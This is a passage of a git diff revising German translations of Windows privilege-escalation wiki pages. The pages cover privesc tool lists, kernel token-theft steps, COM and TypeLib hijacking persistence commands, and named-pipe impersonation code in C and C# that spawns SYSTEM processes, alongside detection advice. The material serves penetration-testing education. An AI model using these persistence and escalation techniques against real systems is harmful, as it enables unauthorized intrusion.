exe auf GitHub)**\ +[**Watson**](https://github.com/rasta-mouse/Watson) -- Sucht nach bekannten privesc Schwachstellen (muss mit VisualStudio kompiliert werden) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Durchsucht den Host nach Misconfigurations (mehr ein Info-Gathering-Tool als reines privesc) (muss kompiliert werden) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Extrahiert credentials aus vielen Programmen (precompiled exe im GitHub)**\ [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port von PowerUp nach C#**\ -[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Prüft auf Fehlkonfigurationen (ausführbare Datei vorkompiliert in GitHub). Nicht empfohlen. Funktioniert nicht gut unter Win10.\ -[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Prüft auf mögliche Fehlkonfigurationen (exe aus Python). Nicht empfohlen. Funktioniert nicht gut unter Win10. +[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Prüft auf Misconfigurations (executable vorcompiliert im GitHub). Nicht empfohlen. Funktioniert nicht gut unter Win10.\ +[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Prüft mögliche Misconfigurations (exe aus python). Nicht empfohlen. Funktioniert nicht gut unter Win10. **Bat** -[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Tool erstellt basierend auf diesem Post (benötigt accesschk nicht unbedingt, kann es aber nutzen). +[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Tool basierend auf diesem Post (benötigt accesschk nicht zwingend, kann es aber verwenden). **Local** -[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Liest die Ausgabe von **systeminfo** und empfiehlt funktionierende Exploits (lokal, Python)\ -[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Liest die Ausgabe von **systeminfo** und empfiehlt funktionierende Exploits (lokal, Python) +[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Liest die Ausgabe von **systeminfo** und empfiehlt passende Exploits (lokal python)\ +[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Liest die Ausgabe von **systeminfo** und empfiehlt passende Exploits (lokal python) **Meterpreter** _multi/recon/local_exploit_suggestor_ -Du musst das Projekt mit der korrekten Version von .NET kompilieren ([siehe dies](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Um die installierte Version von .NET auf dem Zielhost zu sehen, kannst du folgendes tun: +Du musst das Projekt mit der korrekten Version von .NET kompilieren ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Um die installierte Version von .NET auf dem Opfer-Host zu sehen, kannst du: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` -## Quellen +## Referenzen - [http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html) - [http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738) diff --git a/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md b/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md index 6ec03f960..13b706fe2 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md +++ b/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md @@ -4,31 +4,31 @@ ## Übersicht -Wenn ein verwundbarer Driver einen IOCTL bereitstellt, der einem Angreifer beliebige kernel read- und/oder write-Primitiven erlaubt, kann die Erhöhung auf NT AUTHORITY\SYSTEM oft erreicht werden, indem man ein SYSTEM access Token stiehlt. Die Technik kopiert den Token-Pointer aus dem EPROCESS eines SYSTEM-Prozesses in das EPROCESS des aktuellen Prozesses. +If a vulnerable driver exposes an IOCTL that gives an attacker arbitrary kernel read and/or write primitives, elevating to NT AUTHORITY\SYSTEM can often be achieved by stealing a SYSTEM access token. The technique copies the Token pointer from a SYSTEM process’ EPROCESS into the current process’ EPROCESS. -Warum das funktioniert: -- Jeder Prozess hat eine EPROCESS-Struktur, die (unter anderen Feldern) ein Token enthält (tatsächlich ein EX_FAST_REF auf ein Token-Objekt). -- Der SYSTEM-Prozess (PID 4) besitzt ein Token mit allen aktivierten Privilegien. -- Das Ersetzen von EPROCESS.Token des aktuellen Prozesses durch den SYSTEM-Token-Pointer lässt den aktuellen Prozess sofort als SYSTEM laufen. +Warum es funktioniert: +- Jeder Prozess hat eine EPROCESS-Struktur, die (unter anderen Feldern) ein Token enthält (tatsächlich ein EX_FAST_REF zu einem token object). +- Der SYSTEM process (PID 4) hält ein Token mit allen aktivierten Privilegien. +- Das Ersetzen des aktuellen Prozesses’ EPROCESS.Token durch den SYSTEM token pointer lässt den aktuellen Prozess sofort als SYSTEM laufen. -> Offsets in EPROCESS variieren zwischen Windows-Versionen. Bestimme sie dynamisch (Symbole) oder verwende versionsspezifische Konstanten. Denk auch daran, dass EPROCESS.Token ein EX_FAST_REF ist (die unteren 3 Bits sind Flags für die Referenzzählung). +Offsets in EPROCESS vary across Windows versions. Determine them dynamically (symbols) or use version-specific constants. Also remember that EPROCESS.Token is an EX_FAST_REF (low 3 bits are reference count flags). -## Hauptschritte +## Schritte (Übersicht) -1) Lokalisieren des ntoskrnl.exe-Base und Auflösen der Adresse von PsInitialSystemProcess. -- Aus dem User-Mode heraus: NtQuerySystemInformation(SystemModuleInformation) oder EnumDeviceDrivers verwenden, um geladene Driver-Basen zu bekommen. -- Addiere den Offset von PsInitialSystemProcess (aus Symbolen/Reversing) zur Kernel-Base, um dessen Adresse zu erhalten. -2) Lies den Pointer bei PsInitialSystemProcess → dies ist ein Kernel-Pointer auf SYSTEMs EPROCESS. -3) Vom SYSTEM-EPROCESS aus, lies UniqueProcessId und ActiveProcessLinks-Offsets, um die doppelt verkettete Liste der EPROCESS-Strukturen (ActiveProcessLinks.Flink/Blink) zu traversieren, bis du das EPROCESS findest, dessen UniqueProcessId gleich GetCurrentProcessId() ist. Merke dir beide: -- EPROCESS_SYSTEM (für SYSTEM) -- EPROCESS_SELF (für den aktuellen Prozess) -4) Lies den SYSTEM-Token-Wert: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset). -- Maskiere die unteren 3 Bits heraus: Token_SYS_masked = Token_SYS & ~0xF (üblich ~0xF oder ~0x7 je nach Build; auf x64 werden die unteren 3 Bits verwendet — 0xFFFFFFFFFFFFFFF8 Maske). -5) Option A (üblich): Bewahre die unteren 3 Bits von deinem aktuellen Token und splice sie auf den SYSTEM-Pointer, um die eingebettete Referenzzählung konsistent zu halten. +1) Locate ntoskrnl.exe base and resolve the address of PsInitialSystemProcess. +- From user mode, use NtQuerySystemInformation(SystemModuleInformation) or EnumDeviceDrivers to get loaded driver bases. +- Add the offset of PsInitialSystemProcess (from symbols/reversing) to the kernel base to get its address. +2) Read the pointer at PsInitialSystemProcess → this is a kernel pointer to SYSTEM’s EPROCESS. +3) From SYSTEM EPROCESS, read UniqueProcessId and ActiveProcessLinks offsets to traverse the doubly linked list of EPROCESS structures (ActiveProcessLinks.Flink/Blink) until you find the EPROCESS whose UniqueProcessId equals GetCurrentProcessId(). Keep both: +- EPROCESS_SYSTEM (for SYSTEM) +- EPROCESS_SELF (for the current process) +4) Read SYSTEM token value: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset). +- Mask out the low 3 bits: Token_SYS_masked = Token_SYS & ~0xF (commonly ~0xF or ~0x7 depending on build; on x64 the low 3 bits are used — 0xFFFFFFFFFFFFFFF8 mask). +5) Option A (common): Preserve the low 3 bits from your current token and splice them onto SYSTEM’s pointer to keep the embedded ref count consistent. - Token_ME = *(EPROCESS_SELF + TokenOffset) - Token_NEW = (Token_SYS_masked | (Token_ME & 0x7)) -6) Schreibe Token_NEW zurück in (EPROCESS_SELF + TokenOffset) mit deinem kernel write-Primitive. -7) Dein aktueller Prozess läuft jetzt als SYSTEM. Optional spawn eine neue cmd.exe oder powershell.exe zur Bestätigung. +6) Write Token_NEW back into (EPROCESS_SELF + TokenOffset) using your kernel write primitive. +7) Your current process is now SYSTEM. Optionally spawn a new cmd.exe or powershell.exe to confirm. ## Pseudocode @@ -106,14 +106,14 @@ return 0; } ``` Hinweise: -- Offsets: Verwende WinDbg’s `dt nt!_EPROCESS` mit den Ziel‑PDBs oder einen Laufzeit-Symbol-Loader, um die korrekten Offsets zu erhalten. Nicht blind hardcoden. -- Maske: Auf x64 ist das Token ein EX_FAST_REF; die unteren 3 Bits sind reference count bits. Die ursprünglichen unteren Bits deines Tokens beizubehalten vermeidet sofortige Refcount-Inkonsistenzen. -- Stabilität: Bevorzuge die Erhöhung des aktuellen Prozesses; wenn du einen kurzlebigen Helper erhöhst, kannst du SYSTEM verlieren, wenn er beendet. +- Offsets: Verwende WinDbg’s `dt nt!_EPROCESS` mit den PDBs des Ziels, oder einen runtime symbol loader, um korrekte Offsets zu erhalten. Hardcode nicht blind. +- Maske: Auf x64 ist der token ein EX_FAST_REF; die unteren 3 Bits sind Referenzzählungs-Bits. Die ursprünglichen unteren Bits deines token beizubehalten vermeidet sofortige Refcount-Inkonsistenzen. +- Stabilität: Bevorzuge, den aktuellen Prozess zu erhöhen; wenn du einen kurzlebigen Helfer erhöhst, kannst du SYSTEM verlieren, wenn er beendet wird. ## Erkennung & Gegenmaßnahmen -- Das Laden unsignierter oder nicht vertrauenswürdiger Drittanbieter-Treiber, die mächtige IOCTLs bereitstellen, ist die Hauptursache. -- Kernel Driver Blocklist (HVCI/CI), DeviceGuard und Attack Surface Reduction-Regeln können verhindern, dass verwundbare Treiber geladen werden. -- EDR kann nach verdächtigen IOCTL-Sequenzen Ausschau halten, die arbitrary read/write implementieren, sowie nach Token-Swaps. +- Das Laden nicht signierter oder nicht vertrauenswürdiger Drittanbieter‑Treiber, die mächtige IOCTLs bereitstellen, ist die eigentliche Ursache. +- Kernel Driver Blocklist (HVCI/CI), DeviceGuard, und Attack Surface Reduction-Regeln können verhindern, dass verwundbare Treiber geladen werden. +- EDR kann auf verdächtige IOCTL-Sequenzen achten, die arbitrary read/write implementieren, sowie auf token swaps. ## Referenzen - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) diff --git a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md index 73f8bcf80..bc5017d9a 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md +++ b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md @@ -2,15 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -### Suche nach nicht vorhandenen COM-Komponenten +### Suche nach nicht existierenden COM-Komponenten -Da die Werte von HKCU vom Benutzer geändert werden können, kann **COM Hijacking** als **persistenter Mechanismus** genutzt werden. Mit `procmon` ist es einfach, nach COM-Registry-Einträgen zu suchen, die nicht existieren und die ein Angreifer zur Persistenz anlegen könnte. Filter: +Da die Werte von HKCU von Benutzern geändert werden können, kann **COM Hijacking** als Mechanismus zur Persistenz verwendet werden. Mit `procmon` ist es einfach, nach COM-Registry-Einträgen zu suchen, die nicht existieren und die ein Angreifer erstellen könnte, um Persistenz zu erreichen. Filter: -- **RegOpenKey** Operationen. -- wo der _Result_ **NAME NOT FOUND** ist. +- **RegOpenKey**-Operationen. +- wobei das _Result_ **NAME NOT FOUND** ist. - und der _Path_ mit **InprocServer32** endet. -Sobald Sie entschieden haben, welchen nicht vorhandenen COM Sie nachahmen wollen, führen Sie die folgenden Befehle aus. _Seien Sie vorsichtig, wenn Sie einen COM nachahmen, der alle paar Sekunden geladen wird, da das übertrieben sein könnte._ +Sobald Sie entschieden haben, welches nicht vorhandene COM Sie übernehmen möchten, führen Sie die folgenden Befehle aus. _Seien Sie vorsichtig, wenn Sie ein COM übernehmen, das alle paar Sekunden geladen wird, da das übertrieben sein könnte._ ```bash New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll" @@ -18,7 +18,7 @@ New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F ``` ### Übernehmbare Task Scheduler COM-Komponenten -Windows Tasks verwenden Custom Triggers, um COM-Objekte aufzurufen, und da sie über den Task Scheduler ausgeführt werden, ist es einfacher vorherzusagen, wann sie ausgelöst werden. +Windows Tasks verwenden Custom Triggers, um COM objects aufzurufen, und da sie über den Task Scheduler ausgeführt werden, ist es einfacher vorherzusagen, wann sie ausgelöst werden. 
# Show COM CLSIDs
 $Tasks = Get-ScheduledTask
@@ -49,9 +49,9 @@ Write-Host
 # CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
 # [more like the previous one...]
-Anhand der Ausgabe kannst du beispielsweise einen auswählen, der **bei jeder Benutzeranmeldung** ausgeführt wird. +Wenn du die Ausgabe prüfst, kannst du z. B. einen auswählen, der beispielsweise bei jeder Benutzeranmeldung ausgeführt wird. -Wenn du nun nach der CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** in **HKEY\CLASSES\ROOT\CLSID** und in HKLM und HKCU suchst, wirst du normalerweise feststellen, dass der Wert in HKCU nicht existiert. +Wenn du nun die CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** in **HKEY\CLASSES\ROOT\CLSID** und in HKLM und HKCU suchst, wirst du normalerweise feststellen, dass der Wert in HKCU nicht existiert. ```bash # Exists in HKCR\CLSID\ Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}" @@ -72,32 +72,32 @@ Name Property PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist. ``` -Dann kannst du einfach den HKCU-Eintrag erstellen und jedes Mal, wenn sich der Benutzer anmeldet, wird deine backdoor ausgeführt. +Dann kannst du einfach den HKCU-Eintrag erstellen, und jedes Mal, wenn sich der Benutzer anmeldet, wird deine backdoor ausgelöst. --- ## COM TypeLib Hijacking (script: moniker persistence) -Type Libraries (TypeLib) definieren COM-Interfaces und werden über `LoadTypeLib()` geladen. Wenn ein COM-Server instanziiert wird, kann das OS auch die zugehörige TypeLib laden, indem es Registrierungs-Schlüssel unter `HKCR\TypeLib\{LIBID}` abfragt. Wird der TypeLib-Pfad durch einen **moniker** ersetzt, z. B. `script:C:\...\evil.sct`, führt Windows das Scriptlet aus, wenn die TypeLib aufgelöst wird – was eine stealthy persistence ergibt, die ausgelöst wird, wenn häufig genutzte Komponenten berührt werden. +Type Libraries (TypeLib) definieren COM-Interfaces und werden via `LoadTypeLib()` geladen. Wenn ein COM-Server instanziiert wird, kann das OS die zugehörige TypeLib laden, indem es die Registrierungsschlüssel unter `HKCR\TypeLib\{LIBID}` abfragt. Wenn der TypeLib-Pfad durch einen **moniker** ersetzt wird, z. B. `script:C:\...\evil.sct`, führt Windows das scriptlet aus, wenn die TypeLib aufgelöst wird – was eine heimliche Persistenz erzeugt, die ausgelöst wird, wenn häufig verwendete Komponenten berührt werden. -Dies wurde beim Microsoft Web Browser control beobachtet (häufig geladen von Internet Explorer, Apps, die WebBrowser einbetten, und sogar `explorer.exe`). +Dies wurde gegen das Microsoft Web Browser control beobachtet (häufig geladen von Internet Explorer, Apps, die WebBrowser einbetten, und sogar `explorer.exe`). ### Schritte (PowerShell) -1) Ermittle die TypeLib (LIBID), die von einer häufig genutzten CLSID verwendet wird. Beispiel-CLSID, die oft von malware chains missbraucht wird: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser). +1) Identifiziere die TypeLib (LIBID), die von einem häufig genutzten CLSID verwendet wird. Beispiel-CLSID, das oft von malware chains missbraucht wird: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser). ```powershell $clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}' $libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)' $ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName "CLSID=$clsid LIBID=$libid VER=$ver" ``` -2) Weise den pro-Benutzer TypeLib-Pfad auf ein lokales scriptlet mit dem `script:`-Moniker (keine Administratorrechte erforderlich): +2) Weisen Sie den benutzerbezogenen TypeLib-Pfad auf ein lokales scriptlet mit dem Moniker `script:` (keine Administratorrechte erforderlich): ```powershell $dest = 'C:\\ProgramData\\Udate_Srv.sct' New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest" ``` -3) Legen Sie eine minimale JScript `.sct` ab, die Ihr primary payload neu startet (z. B. eine `.lnk`, die von der initial chain verwendet wird): +3) Lege eine minimale JScript `.sct` ab, die dein primäres payload neu startet (z. B. eine `.lnk`, die von der initialen Chain verwendet wird): ```xml @@ -114,7 +114,7 @@ sh.Run(cmd, 0, false); ``` -4) Auslösen – Das Öffnen von IE, einer Anwendung, die die WebBrowser control einbettet, oder sogar routinemäßige Explorer-Aktivitäten laden die TypeLib und führen das scriptlet aus, wodurch deine Kette bei logon/reboot wieder scharf gemacht wird. +4) Auslösen – Das Öffnen von IE, einer Anwendung, die das WebBrowser control einbettet, oder sogar routinemäßige Explorer-Aktivität wird die TypeLib laden und das scriptlet ausführen und so deine Kette bei logon/reboot erneut scharfstellen. Bereinigung ```powershell @@ -124,8 +124,8 @@ Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$n Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null ``` Hinweise -- Sie können dieselbe Logik auf andere häufig verwendete COM-Komponenten anwenden; ermitteln Sie zuerst immer die tatsächliche `LIBID` aus `HKCR\CLSID\{CLSID}\TypeLib`. -- Auf 64-bit-Systemen können Sie außerdem den Unterschlüssel `win64` für 64-bit-Consumer befüllen. +- Sie können dieselbe Logik auf andere häufig verwendete COM-Komponenten anwenden; ermitteln Sie jedoch immer zuerst die tatsächliche `LIBID` aus `HKCR\CLSID\{CLSID}\TypeLib`. +- Auf 64-Bit-Systemen können Sie außerdem den Unterschlüssel `win64` für 64-Bit-Clients befüllen. ## Quellen diff --git a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md index e17be85f1..0a6a05081 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md +++ b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md @@ -2,27 +2,27 @@ {{#include ../../banners/hacktricks-training.md}} -Named Pipe client impersonation ist eine lokale Privilege-Escalation-Primitive, die einem named-pipe-Server-Thread erlaubt, den Sicherheitskontext eines Clients zu übernehmen, der sich mit ihm verbindet. In der Praxis kann ein Angreifer, der Code mit SeImpersonatePrivilege ausführen kann, einen privilegierten Client (z. B. einen SYSTEM-Service) dazu zwingen, sich mit einer vom Angreifer kontrollierten Pipe zu verbinden, ImpersonateNamedPipeClient aufzurufen, das so erhaltene Token in ein primary token zu duplizieren und einen Prozess als der Client zu starten (oft NT AUTHORITY\SYSTEM). +Named Pipe client impersonation ist ein lokaler Mechanismus zur Privilegieneskalation, der einem named-pipe Server-Thread erlaubt, den Sicherheitskontext eines Clients zu übernehmen, der sich mit ihm verbindet. In der Praxis kann ein Angreifer, der Code mit SeImpersonatePrivilege ausführen kann, einen privilegierten Client (z. B. einen SYSTEM-Dienst) dazu bringen, sich mit einer vom Angreifer kontrollierten Pipe zu verbinden, ImpersonateNamedPipeClient aufzurufen, das resultierende Token in ein Primary-Token zu duplizieren und einen Prozess als der Client zu starten (häufig NT AUTHORITY\SYSTEM). -Diese Seite konzentriert sich auf die Kerntechnik. Für End-to-End-Exploitketten, die SYSTEM dazu bringen, sich mit deiner Pipe zu verbinden, siehe die Potato family pages weiter unten. +Diese Seite konzentriert sich auf die Kerntechnik. Für vollständige Exploit-Ketten, die SYSTEM dazu bringen, sich mit Ihrer Pipe zu verbinden, siehe die Seiten zur Potato-Familie weiter unten. -## TL;DR +## Kurzfassung - Erstelle eine named pipe: \\.\pipe\ und warte auf eine Verbindung. - Veranlasse eine privilegierte Komponente, sich damit zu verbinden (spooler/DCOM/EFSRPC/etc.). -- Lese mindestens eine Nachricht von der Pipe, rufe dann ImpersonateNamedPipeClient auf. +- Lese mindestens eine Nachricht aus der Pipe, rufe dann ImpersonateNamedPipeClient auf. - Öffne das Impersonation-Token des aktuellen Threads, DuplicateTokenEx(TokenPrimary) und CreateProcessWithTokenW/CreateProcessAsUser, um einen SYSTEM-Prozess zu erhalten. -## Requirements and key APIs +## Anforderungen und wichtige APIs - Typischerweise vom aufrufenden Prozess/Thread benötigte Privilegien: -- SeImpersonatePrivilege, um einen verbindenden Client erfolgreich zu impersonieren und CreateProcessWithTokenW zu verwenden. -- Alternativ kannst du nach dem Impersonieren von SYSTEM CreateProcessAsUser verwenden, was SeAssignPrimaryTokenPrivilege und SeIncreaseQuotaPrivilege erfordern kann (diese sind erfüllt, wenn du SYSTEM impersonierst). -- Verwendete Kern-APIs: +- SeImpersonatePrivilege, um erfolgreich einen verbindenden Client zu impersonieren und CreateProcessWithTokenW zu verwenden. +- Alternativ kann man nach dem Impersonieren von SYSTEM CreateProcessAsUser verwenden, was SeAssignPrimaryTokenPrivilege und SeIncreaseQuotaPrivilege erfordern kann (diese sind erfüllt, wenn Sie SYSTEM impersonieren). +- Wichtige verwendete APIs: - CreateNamedPipe / ConnectNamedPipe -- ReadFile/WriteFile (du musst mindestens eine Nachricht lesen, bevor du impersonierst) +- ReadFile/WriteFile (es muss mindestens eine Nachricht vor der Impersonation gelesen werden) - ImpersonateNamedPipeClient und RevertToSelf - OpenThreadToken, DuplicateTokenEx(TokenPrimary) -- CreateProcessWithTokenW oder CreateProcessAsUser -- Impersonation-Level: Um lokal nützliche Aktionen auszuführen, muss der Client SecurityImpersonation erlauben (Standard für viele lokale RPC-/named-pipe-Clients). Clients können dieses mit SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION beim Öffnen der Pipe herabsetzen. +- CreateProcessWithTokenW or CreateProcessAsUser +- Impersonation-Level: Um lokal nützliche Aktionen durchzuführen, muss der Client SecurityImpersonation erlauben (Standard für viele lokale RPC-/named-pipe-Clients). Clients können dieses mit SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION beim Öffnen der Pipe herabsetzen. ## Minimaler Win32-Workflow (C) ```c @@ -68,12 +68,12 @@ RevertToSelf(); // Restore original context return 0; } ``` -Notes: -- Falls ImpersonateNamedPipeClient ERROR_CANNOT_IMPERSONATE (1368) zurückgibt, stellen Sie sicher, dass Sie zuerst von der Pipe lesen und dass der Client die Impersonation nicht auf Identification level beschränkt hat. -- Verwenden Sie vorzugsweise DuplicateTokenEx mit SecurityImpersonation und TokenPrimary, um ein Primary-Token zu erstellen, das für die Erstellung eines Prozesses geeignet ist. +Hinweise: +- Falls ImpersonateNamedPipeClient ERROR_CANNOT_IMPERSONATE (1368) zurückgibt, stelle sicher, dass du zuerst aus der Pipe liest und dass der Client die Impersonation nicht auf Identification level beschränkt hat. +- Verwende vorzugsweise DuplicateTokenEx mit SecurityImpersonation und TokenPrimary, um ein primäres Token zu erstellen, das für die Prozess-Erstellung geeignet ist. -## .NET Schnellbeispiel -In .NET kann NamedPipeServerStream über RunAsClient impersonate. Sobald eine Impersonation vorliegt, duplizieren Sie das Thread-Token und erstellen Sie einen Prozess. +## .NET schnelles Beispiel +In .NET kann NamedPipeServerStream über RunAsClient impersonieren. Sobald die Impersonation aktiv ist, dupliziere das Thread-Token und erstelle einen Prozess. ```csharp using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics; class P { @@ -93,13 +93,13 @@ Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref } } ``` -## Gängige Trigger/erzwungene Verbindungen, um SYSTEM auf Ihre named pipe zu bekommen -These techniques coerce privileged services to connect to your named pipe so you can impersonate them: +## Häufige Auslöser/Zwangsmethoden, damit SYSTEM sich mit Ihrer named pipe verbindet +Diese Techniken zwingen privilegierte Dienste dazu, sich mit Ihrer named pipe zu verbinden, sodass Sie sie impersonate können: - Print Spooler RPC trigger (PrintSpoofer) -- DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato) +- DCOM Aktivierung/NTLM-Reflection-Varianten (RoguePotato/JuicyPotato[NG], GodPotato) - EFSRPC pipes (EfsPotato/SharpEfsPotato) -See detailed usage and compatibility here: +Siehe detaillierte Nutzung und Kompatibilität hier: - {{#ref}} @@ -110,7 +110,7 @@ roguepotato-and-printspoofer.md juicypotato.md {{#endref}} -If you just need a full example of crafting the pipe and impersonating to spawn SYSTEM from a service trigger, see: +Wenn Sie nur ein vollständiges Beispiel benötigen, wie man die named pipe erstellt und impersonating durchführt, um SYSTEM durch einen Service-Auslöser zu starten, siehe: - {{#ref}} @@ -118,19 +118,19 @@ from-high-integrity-to-system-with-name-pipes.md {{#endref}} ## Fehlerbehebung und Fallstricke -- Sie müssen mindestens eine Nachricht von der pipe lesen, bevor Sie ImpersonateNamedPipeClient aufrufen; andernfalls erhalten Sie ERROR_CANNOT_IMPERSONATE (1368). -- Wenn der Client mit SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION verbindet, kann der Server nicht vollständig impersonifizieren; prüfen Sie das Impersonation-Level des Tokens über GetTokenInformation(TokenImpersonationLevel). -- CreateProcessWithTokenW erfordert SeImpersonatePrivilege beim Aufrufer. Wenn das mit ERROR_PRIVILEGE_NOT_HELD (1314) fehlschlägt, verwenden Sie CreateProcessAsUser, nachdem Sie bereits SYSTEM impersonifiziert haben. -- Stellen Sie sicher, dass der Security Descriptor Ihrer pipe dem Zielservice das Verbinden erlaubt, wenn Sie diesen härten; standardmäßig sind pipes unter \\.\pipe gemäß der DACL des Servers zugänglich. +- Sie müssen mindestens eine Nachricht aus der Pipe lesen, bevor Sie ImpersonateNamedPipeClient aufrufen; andernfalls erhalten Sie ERROR_CANNOT_IMPERSONATE (1368). +- Wenn sich der Client mit SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION verbindet, kann der Server nicht vollständig impersonate; prüfen Sie die Impersonation-Stufe des Tokens mittels GetTokenInformation(TokenImpersonationLevel). +- CreateProcessWithTokenW erfordert SeImpersonatePrivilege beim Aufrufer. Wenn das mit ERROR_PRIVILEGE_NOT_HELD (1314) fehlschlägt, verwenden Sie CreateProcessAsUser, nachdem Sie bereits SYSTEM impersoniert haben. +- Stellen Sie sicher, dass der Security Descriptor Ihrer Pipe dem Zielservice das Verbinden erlaubt, wenn Sie ihn härten; standardmäßig sind Pipes unter \\.\pipe gemäß der DACL des Servers zugänglich. ## Erkennung und Härtung -- Überwachen Sie die Erstellung und Verbindungen von named pipes. Sysmon Event IDs 17 (Pipe Created) und 18 (Pipe Connected) sind nützlich, um legitime Pipe-Namen als Referenz zu erfassen und ungewöhnliche, zufällig aussehende pipes zu erkennen, die Token-Manipulationsereignissen vorausgehen. -- Achten Sie auf Abläufe: ein Prozess erstellt eine pipe, ein SYSTEM-Service verbindet sich, dann startet der erstellende Prozess ein Kind als SYSTEM. -- Reduzieren Sie die Angriffsfläche, indem Sie SeImpersonatePrivilege von nicht notwendigen Service-Accounts entfernen und unnötige Service-Logons mit hohen Rechten vermeiden. -- Defensive Entwicklung: Beim Verbinden zu nicht vertrauenswürdigen named pipes SECURITY_SQOS_PRESENT mit SECURITY_IDENTIFICATION angeben, um zu verhindern, dass Server den Client vollständig impersonifizieren, sofern nicht nötig. +- Überwachen Sie die Erstellung und Verbindungen von named pipes. Sysmon Event IDs 17 (Pipe Created) und 18 (Pipe Connected) sind nützlich, um eine Basislinie legitimer Pipe-Namen zu erstellen und ungewöhnliche, zufällig aussehende Pipes zu erkennen, die Token-Manipulations-Ereignissen vorausgehen. +- Achten Sie auf Sequenzen: ein Prozess erstellt eine Pipe, ein SYSTEM-Service verbindet sich, dann erzeugt der erstellende Prozess einen Kindprozess als SYSTEM. +- Reduzieren Sie die Angriffsfläche, indem Sie SeImpersonatePrivilege von nicht notwendigen Servicekonten entfernen und unnötige Service-Logons mit hohen Rechten vermeiden. +- Defensive Entwicklung: Wenn Sie sich mit nicht vertrauenswürdigen named pipes verbinden, geben Sie SECURITY_SQOS_PRESENT mit SECURITY_IDENTIFICATION an, um zu verhindern, dass Server den Client vollständig impersonieren, es sei denn, es ist notwendig. ## Referenzen -- Windows: ImpersonateNamedPipeClient documentation (impersonation requirements and behavior). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient +- Windows: ImpersonateNamedPipeClient-Dokumentation 